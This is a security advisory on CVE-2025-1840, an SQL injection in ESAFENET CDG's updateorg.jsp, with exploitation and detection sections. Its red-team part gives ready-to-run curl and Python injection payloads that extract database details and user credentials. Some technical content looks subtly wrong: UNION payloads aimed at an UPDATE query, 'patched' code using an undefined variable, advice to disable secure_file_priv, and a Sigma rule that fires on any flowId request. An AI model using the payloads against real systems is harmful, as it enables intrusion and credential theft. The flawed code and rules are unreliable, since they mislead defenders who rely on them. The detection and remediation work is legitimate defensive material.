CVE-2025-1840

Executive Summary

CVE-2025-1840 is a critical SQL injection vulnerability in ESAFENET CDG version 5.6.3.154.205. The flaw resides in the /CDGServer3/workflowE/useractivate/updateorg.jsp endpoint, where the flowId parameter is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, credential theft, or full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based web application (ESAFENET CDG). The supply chain risk is limited to the vendor's software distribution and any third-party libraries bundled with the application.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority vulnerability for any organization using ESAFENET CDG.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in a Java JSP page. The endpoint /CDGServer3/workflowE/useractivate/updateorg.jsp accepts a flowId parameter via HTTP GET or POST. The application likely constructs a SQL query similar to:

UPDATE user_activation SET org_id = ? WHERE flow_id = '" + request.getParameter("flowId") + "'

Because the flowId parameter is directly concatenated into the SQL string without proper escaping or parameterization, an attacker can inject arbitrary SQL. For example, a payload like:

1' OR '1'='1

Would result in:

UPDATE user_activation SET org_id = ? WHERE flow_id = '1' OR '1'='1'

This would update all rows in the table. More sophisticated payloads can be used to extract data, escalate privileges, or execute operating system commands via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Vulnerable vs. Patched Code

Vulnerable Code (JSP snippet):

<%
String flowId = request.getParameter("flowId");
String sql = "UPDATE user_activation SET org_id = ? WHERE flow_id = '" + flowId + "'";
Statement stmt = connection.createStatement();
stmt.executeUpdate(sql);
%>

Patched Code (Parameterized Query):

<%
String flowId = request.getParameter("flowId");
String sql = "UPDATE user_activation SET org_id = ? WHERE flow_id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, orgId);
pstmt.setString(2, flowId);
pstmt.executeUpdate();
%>

The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable instance of ESAFENET CDG 5.6.3.154.205
• Network access to the /CDGServer3/workflowE/useractivate/updateorg.jsp endpoint

Exploit Steps:

1. Identify the target:

   curl -v "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp"
   

2. Test for SQL injection:

   curl "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp?flowId=1'"
   

   If the server returns an error (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract database version (example for MySQL):

   curl "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp?flowId=1' UNION SELECT @@version-- -"
   

4. Extract table names:

   curl "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp?flowId=1' UNION SELECT table_name FROM information_schema.tables-- -"
   

5. Extract user credentials:

   curl "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp?flowId=1' UNION SELECT username,password FROM users-- -"
   

Automated Exploit (Python):

import requests

target = "http://target.com/CDGServer3/workflowE/useractivate/updateorg.jsp"
payload = "1' UNION SELECT @@version-- -"

response = requests.get(target, params={"flowId": payload})
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for suspicious flowId parameters:

   • Look for patterns like ', OR, AND, UNION, --, #, /*, */, xp_cmdshell, INTO OUTFILE.
   • Example log entry:

     192.168.1.100 - - [10/May/2025:12:34:56 +0000] "GET /CDGServer3/workflowE/useractivate/updateorg.jsp?flowId=1'%20OR%20'1'='1 HTTP/1.1" 200 1234
     

2. Enable WAF rules to block SQL injection patterns.

3. Harden the database:

   • Use least-privilege accounts for the application.
   • Disable xp_cmdshell (SQL Server) or secure_file_priv (MySQL) if not needed.

4. Immediate containment:

   • If exploitation is suspected, isolate the server and review database logs for unauthorized queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /CDGServer3/workflowE/useractivate/updateorg.jsp with unusual flowId parameters.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

• File IOCs:

  • Modified JSP files in the workflowE/useractivate/ directory.
  • Unexpected files in the web root (e.g., webshells).

• Database IOCs:

  • Unauthorized UNION SELECT queries in database logs.
  • New user accounts or modified permissions.

• System IOCs:

  • Unusual processes running on the server (e.g., cmd.exe, /bin/sh).
  • New scheduled tasks or cron jobs.

Detection Engineering

YARA Rule

rule CVE_2025_1840_SQLi_FlowID {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1840 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1840"
    strings:
        $s1 = "flowId=" nocase
        $s2 = "' OR " nocase
        $s3 = "' AND " nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "xp_cmdshell" nocase
        $s6 = "INTO OUTFILE" nocase
        $s7 = "information_schema" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-1840 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG updateorg.jsp
author: Valters IT
date: 2025/05/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1840
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "flowId="
            - "' OR "
            - "' AND "
            - "UNION SELECT"
            - "xp_cmdshell"
            - "INTO OUTFILE"
            - "information_schema"
    condition: selection
falsepositives:
    - Legitimate use of flowId parameter with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1840 SQL Injection Attempt"; flow:to_server,established; content:"/CDGServer3/workflowE/useractivate/updateorg.jsp"; http_uri; content:"flowId="; http_uri; pcre:"/(\x27|%27).*(OR|AND|UNION|xp_cmdshell|INTO OUTFILE|information_schema)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems if possible, until a patch is applied.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Disable the vulnerable endpoint if not required for business operations:
   • Rename or remove updateorg.jsp from the web server.
   • Restrict access to the endpoint via firewall rules (allow only trusted IPs).

Long-Term Fix:

1. Apply vendor patch when available. Monitor ESAFENET's official channels for updates.
2. Code review all JSP files for similar injection vulnerabilities.
3. Adopt secure coding practices:
   • Use parameterized queries (PreparedStatement) for all database operations.
   • Validate and sanitize all user inputs.
   • Implement least-privilege database accounts.

Workaround (if patching is not possible):

• Modify the JSP file to use a parameterized query (see patched code example above).
• Restrict database user permissions to only necessary operations.

Valters IT
DevSecOps & Cyber Threat Intelligence